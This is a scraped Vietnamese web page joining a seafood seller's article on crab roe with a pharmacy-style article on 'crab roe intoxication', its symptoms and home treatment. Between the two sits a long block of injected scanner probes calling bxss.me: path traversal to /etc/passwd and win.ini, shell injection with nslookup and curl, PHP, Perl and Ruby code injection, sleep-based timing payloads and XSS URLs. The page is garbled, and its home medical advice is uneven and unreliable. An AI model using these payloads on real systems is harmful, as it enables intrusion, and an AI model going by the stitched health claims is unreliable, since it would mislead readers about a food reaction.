Chúng ta thường thích ăn cua, đặc biệt là cua gạch. Nhưng ít người hiểu đúng thế nào là gạch cua. Vậy gạch cua là gì? Ăn gạch cua có tác dụng gì? Hay trong gạch cua có những chất dinh dưỡng gì? Chúng ta sẽ cùng nhau tìm hiểu về gạch cua nhé!
Gạch cua là gì? Chúng ta đã ăn nhiều nhưng đa số chưa hiểu đúng về nó. Theo khoa học thì gạch cua chính là nơi chứa các tế bào sinh dục của loài này. Đối với cua đực nó là toàn bộ hệ thống sinh tinh để duy trì nòi giống. Đối với cua cái thì phần gạch cua chính là buồng trứng của nó. Những trứng chín sẽ chuyển xuống yếm của nó khi đến mùa sinh sản, trứng sẽ được thụ tinh và được bảo vệ một thời gian trong yếm con cua cái, sau khi nở thành công sẽ được đưa ra môi trường nước bên ngoài. Việc giữ cua con trong yếm cua cái là biện pháp rất tốt để cua con sống sót với tỷ lệ cao.
Bạn đang xem: Ăn gạch là gì
Cua gạch mà chúng tôi muốn nhắc đến là những con cua cái, không có nhiều thịt như cua gạch nhưng đổi lại phần gạch của nó rất nhiều, chiếm gần 2/3 yếm, sẽ là món khoái khẩu cho những ai thích món này.
Gạch cua thực chất là protein và rất nhiều chất bổ dưỡng khác có giá trị dinh dưỡng cao. Tuy nhiên không vì vậy mà bạn ăn quá nhiều, chỉ cần một lượng vừa đủ chất cho cơ thể.
Với cua gạch ta có thể chế biến thành các món sau:
- Cua gạch hấp: Đây là một món tương đối đơn giản, mà ai cũng có thể thực hiện được, đây cũng là món ăn yêu thích của nhiều người. Hấp cua gạch sẽ cho chúng ta hương vị thật nhất vị ngon, ngọt của cua khi thưởng thức.
- Cua gạch sốt cà chua: Món này cũng không xa lạ đối với những cư dân sành ăn hải sản, để chế biến nó cũng không khó. Với nguyên liệu thêm vài trái cà chua, nêm nếm vừa đủ, vị ngọt từ thịt cua và vị béo từ gạch với vị chua chua ngọt ngọt từ cà chua sẽ tạo một món ăn vô cùng hấp dẫn.
- Lẩu cua gạch: Đây là một món vô cùng ngon, một lựa chọn không tồi khi nhà bạn tổ chức tiệc.
- Cua gạch nướng thập cẩm: Đây là lựa chọn mới cho những ai yêu thích món cua. Bằng cách này cua gạch sẽ gần như giữ nguyên vị ngọt, ngon của nó.
Hiện nay trên thị trường đang có tình trạng bán cua gạch giả, những con cua sẽ được tiêm trứng gà và cả phocmon tang trọng, nếu không tinh ý phát hiện ra, dung lâu ngày sẽ ảnh hưởng rất bất lợi đối với sức khỏe của chúng ta. Có một mẹo nhỏ có thể giúp bạn phân biệt được gạch thật hay giả: Hãy nạy nhẹ mai cua lên, gạch giả thì màu son nhạt hơi xanh còn gạch thật sẽ có màu son tươi.
Trong trường hợp bạn không biết lựa chọn cua chất lượng thì hãy là người nội trợ thông mình, hãy liên hệ với những cửa hàng cua biểntươi sống có uy tín để chọn được sản phẩm như ý. Nếu bạn còn đang phân vân lưỡng lự, hãy gọi cho chúng tôi - Ẩm thực Giáo Tuyết để được chúng tôi tư vấn tận tình, chu đáo.
Qua bài viết trên chắc hẳn rằng bạn đã có câu trả lời cho câu hỏi gạch cua là gì của riêng mình. Hãy gọi cho chúng tôi nếu bạn cần tư vấn thêm về cách chọn mua hay chế biến những hải sản tươi sống này nhé.
Mua sản phẩm giá ưu đãi tại đây: Thực phẩm sạch online
ẨM THỰC GIÁO TUYẾT
bxss.me" title="Mr." target="_blank">Mr. | Mr. | ../../../../../../../../../../../../../../windows/win.ini | Mr. | file:///etc/passwd | Mr. | Mr. | ../Mr. | %bf%27"" target="_blank">12345""\"\");|>*%00{%0d%0a%bf%27" | Mr. | Mr. | | " target="_blank">Mr. | Mr. | Mr. | " title="Mr." target="_blank">Mr. | Mr. | %bf%27"" title="Mr." target="_blank">Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | ${9999482+9999383} | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | echo fuyvww$()\ zkcrgq\nz^xyu||a #" &echo fuyvww$()\ zkcrgq\nz^xyu||a #|" &echo fuyvww$()\ zkcrgq\nz^xyu||a # | Mr. | &echo khyfpv$()\ ovabtj\nz^xyu||a #" &echo khyfpv$()\ ovabtj\nz^xyu||a #|" &echo khyfpv$()\ ovabtj\nz^xyu||a # | Mr. | Mr. | |echo zvilug$()\ ibcldo\nz^xyu||a #" |echo zvilug$()\ ibcldo\nz^xyu||a #|" |echo zvilug$()\ ibcldo\nz^xyu||a # | Mr. | (nslookup -q=cname hitvmczfdrhyrc940d.bxss.me||curl hitvmczfdrhyrc940d.bxss.me)) | Mr. | $(nslookup -q=cname hithztakexiet3a439.bxss.me||curl hithztakexiet3a439.bxss.me) | Mr. | Mr. | ) | Mr. | &nslookup -q=cname hitswdfmjqdqw080d5.bxss.me&"\"`0&nslookup -q=cname hitswdfmjqdqw080d5.bxss.me&`" | Mr. | Mr. | !(()&&!|*|*| | &(nslookup -q=cname hitfahzctuqbia584e.bxss.me||curl hitfahzctuqbia584e.bxss.me)&"\"`0&(nslookup -q=cname hitfahzctuqbia584e.bxss.me||curl hitfahzctuqbia584e.bxss.me)&`" | ".gethostbyname(lc("hitxk"."fkpxkgkr0a03b.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(66).chr(105).chr(69)." | Mr. | ^(#$!
#$)(()))****** | |(nslookup -q=cname hitapjwpdgran96e91.bxss.me||curl hitapjwpdgran96e91.bxss.me) | ".gethostbyname(lc("hitsd"."healrehe907ef.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(67).chr(113).chr(72)." | Mr. | Mr. | Mr. | Mr. | `(nslookup -q=cname hitdbzxeidpla09fee.bxss.me||curl hitdbzxeidpla09fee.bxss.me)` | Mr. | Mr. | Mr. | ;(nslookup -q=cname hitvdvefrdmqvbf31c.bxss.me||curl hitvdvefrdmqvbf31c.bxss.me)|(nslookup -q=cname hitvdvefrdmqvbf31c.bxss.me||curl hitvdvefrdmqvbf31c.bxss.me)&(nslookup -q=cname hitvdvefrdmqvbf31c.bxss.me||curl hitvdvefrdmqvbf31c.bxss.me) | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Htt
P://bxss.me/t/xss.html?%00 | Mr. | Mr. | Mr. | bxss.me/t/xss.html?%00 | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | Mr. | http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F. | Mr. | Mr. | Mr. | xfs.bxss.me | Mr. | Mr. | Mr. | 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00. | Mr. | Mr. | "+"A".concat(70-3).concat(22*4).concat(101).concat(78).concat(119).concat(89)+(require"socket"Socket.gethostbyname("hitft"+"tsudrrvmd8874.bxss.me.")<3>.to_s)+" | Mr. | Http://bxss.me/t/fit.txt | "+"A".concat(70-3).concat(22*4).concat(113).concat(89).concat(106).concat(77)+(require"socket"Socket.gethostbyname("hitpw"+"cbcxudlha238e.bxss.me.")<3>.to_s)+" | Mr. | http://bxss.me/t/fit.txt%3F. | Mr. | Mr. | /etc/shells | | Mr. | Mr. | Mr. | Mr. | c:/windows/win.ini | Mr. | bxss.me | | Mr. | | ;assert(base64_decode("c
HJpbn
Qob
WQ1KDMx
Mz
M3KSk7")); | ""() | Mr. | Mr. | ";print(md5(31337));$a=" | Mr."&&sleep(27*1000)*oiswmj&&" | Mr. | Mr. | Mr."&&sleep(27*1000)*lshfou&&" | Mr. | ";print(md5(31337));$a=" | Mr."||sleep(27*1000)*kyzbwp||" | Mr. | "" | ${
Bạn có biết rằng ăn gạch cua có thể gây ra tình trạng say nặng, thậm chí nguy hiểm đến tính mạng không? Đây là một hiện tượng phổ biến ở nhiều nơi, đặc biệt là ở các vùng ven biển, nơi người dân thường xuyên tiêu thụ hải sản. Vậy nguyên nhân, triệu chứng và cách xử lý khi ăn gạch cua bị say là gì? Bài viết dưới đây sẽ giúp bạn có những thông tin cần thiết và hữu ích.
Xem thêm: Gỗ là vật liệu hay nguyên liệu, các nguyên liệu chính tại nội thất đơn giản
Ăn gạch cua là một thú vui của nhiều người, bởi gạch cua có hương vị đặc trưng và béo ngậy. Gạch cua cũng có nhiều tác dụng tốt cho sức khỏe, tuy nhiên, ăn gạch cua cũng có thể gây ra tình trạng say nặng, thậm chí nguy hiểm đến tính mạng nếu không biết nguyên nhân và cách phòng tránh.
Vậy nguyên nhân khi ăn gạch cua bị say là gì và cách xử lý ra sao? Hãy cùng Nhà thuốc Long Châu tìm hiểu thông tin cụ thể qua bài viết dưới đây.
Gạch cua là gì?
Gạch cua là một phần được nhiều người yêu thích khi ăn cua nhưng không phải ai cũng biết gạch cua là gì và ở bộ phận nào của con cua. Theo khoa học, gạch cua chính là nơi chứa các tế bào sinh dục của loài này.
Đối với cua đực, gạch là hệ thống các tế bào sinh tinh, còn đối với cua cái, gạch là buồng trứng. Gạch cua có màu vàng, mềm và nhầy, thường nằm ở phần dưới mai của cua. Gạch cua có bản chất là protein, có nhiều tác dụng tốt cho sức khỏe như bổ khí, sinh tinh, trợ dương, chống dị ứng, bảo vệ tim mạch…
Tuy nhiên, ăn gạch cua cũng cần có sự điều tiết, vì nếu ăn quá nhiều có thể gây ra tình trạng say nặng, gây nguy hiểm đến sức khỏe của bạn.
Nguyên nhân khi ăn gạch cua bị say
Theo các chuyên gia, nguyên nhân chính khiến người ăn gạch cua bị say là do histamine, một chất sinh học có trong cơ thể người và động vật. Histamine có tác dụng bảo vệ cơ thể khỏi các tác nhân gây dị ứng nhưng nếu nồng độ quá cao, nó sẽ gây ra các triệu chứng khó chịu như đau đầu, nôn mửa, chóng mặt, hạ huyết áp, phù nề, ngứa, nổi mề đay…
Histamine có thể được tạo ra trong quá trình phân hủy protein của thịt cua, đặc biệt là gạch cua, do sự hoạt động của vi khuẩn hoặc men. Nồng độ histamine càng cao khi cua bị bảo quản không tốt, để lâu, nấu chưa chín hoặc ăn kèm với các loại thực phẩm khác có chứa histamine như rượu, bia, phô mai, cá ngừ, cá thu…
Ngoài histamine, một số chất khác có trong gạch cua cũng có thể gây ra tình trạng say như tyramine, putrescine, cadaverine… Những chất này cũng được tạo ra trong quá trình phân hủy protein và có tác dụng kích thích hệ thần kinh trung ương, gây ra các triệu chứng tương tự như say rượu.
Ngoài nguyên nhân chính là histamine và các chất khác, còn có một số nguyên nhân phụ khác khiến việc ăn gạch cua bị say như:
Thói quen ăn uống: Một số người có thói quen ăn uống không lành mạnh như ăn quá nhiều, ăn quá nhanh, ăn kèm với các loại thực phẩm không hợp, uống nhiều rượu, bia, nước ngọt… Khi ăn gạch cua, cơ thể sẽ không thể tiêu hóa được hết lượng thức ăn, gây ra các triệu chứng khó chịu, như đầy bụng, khó tiêu, ợ hơi, ợ chua...Triệu chứng khi ăn gạch cua bị say
Triệu chứng khi ăn gạch cua bị say thường xuất hiện từ 15 phút đến 2 giờ sau khi ăn. Một số triệu chứng thường hay gặp phải là:
Cảm thấy hoa mắt, chóng mặt, đau đầu và mệt mỏi.Sưng mô trong miệng, môi, mặt hoặc cả cơ thể.Phù nề, ngứa, nổi mề đay, nổi ban đỏ trên da.Suy giảm ý thức, hôn mê, sốc phản vệ, ngừng thở.Tùy theo mức độ nặng nhẹ, triệu chứng có thể kéo dài từ vài giờ đến vài ngày. Trong một số trường hợp, nếu không được xử lý kịp thời, tình trạng say có thể gây ra tử vong.
Cách xử lý khi ăn gạch cua bị say
Khi phát hiện có triệu chứng ăn gạch cua bị say, bạn nên làm những việc sau đây:
Ngưng ăn ngay và uống nhiều nước để giải độc và giảm nồng độ histamine trong máu.Nếu có nôn mửa, tiêu chảy, bạn nên uống nước muối hoặc nước dừa để bù nước và điện giải mất mát.Nếu có hạ huyết áp, bạn nên nằm nghiêng, nâng cao chân và đầu, uống nước đường hoặc nước cam để tăng áp lực máu.Nếu có phù nề, ngứa, nổi mề đay, bạn nên uống thuốc chống dị ứng, như diphenhydramine hydrochloride hoặc diphenhydramine citrate để giảm các triệu chứng viêm da.Nếu có suy giảm ý thức, hôn mê, sốc phản vệ, ngừng thở, bạn nên gọi cấp cứu để được đưa đến bệnh viện gần nhất và được điều trị.
Cách phòng tránh khi ăn gạch cua bị say
Để phòng tránh khi ăn gạch cua bị say, bạn nên làm theo những cách sau đây:
Chọn cua tươi, sống, có đầy đủ chân, càng, không bị rớt hay bể. Tránh mua cua đã chết, cua ốp, cua bị nhiễm khuẩn hoặc men.Sơ chế cua thật sạch, rửa sạch bùn, cát, bọt trên vỏ, chân, càng. Nấu cua chín kỹ, không để lâu sau khi nấu.Ăn gạch cua vừa phải, không ăn quá nhiều, quá nhanh, quá no. Ăn chậm, nhai kỹ, uống nhiều nước để giải độc và giảm nồng độ histamine trong máu.Tránh ăn gạch cua kèm với các loại thực phẩm có chứa histamine hoặc có tác dụng kích thích hệ thần kinh, như rượu, bia, phô mai, cá ngừ, cá thu, trà, cà phê, sô cô la…Nếu có tiền sử dị ứng, bệnh lý tiềm ẩn hoặc thói quen ăn uống không lành mạnh, nên hạn chế ăn gạch cua hoặc tư vấn với bác sĩ trước khi ăn.Ăn gạch cua bị say là một hiện tượng không hiếm gặp nhưng có thể gây ra những hậu quả nghiêm trọng cho sức khỏe. Do đó, bạn nên lựa chọn cua tươi, bảo quản tốt, nấu chín kỹ và ăn vừa phải. Ngoài ra, bạn cũng nên tránh ăn kèm với các loại thực phẩm có chứa histamine hoặc có tác dụng kích thích hệ thần kinh. Nếu có triệu chứng ăn gạch cua bị say, bạn nên xử lý kịp thời và tìm đến bác sĩ nếu cần thiết.
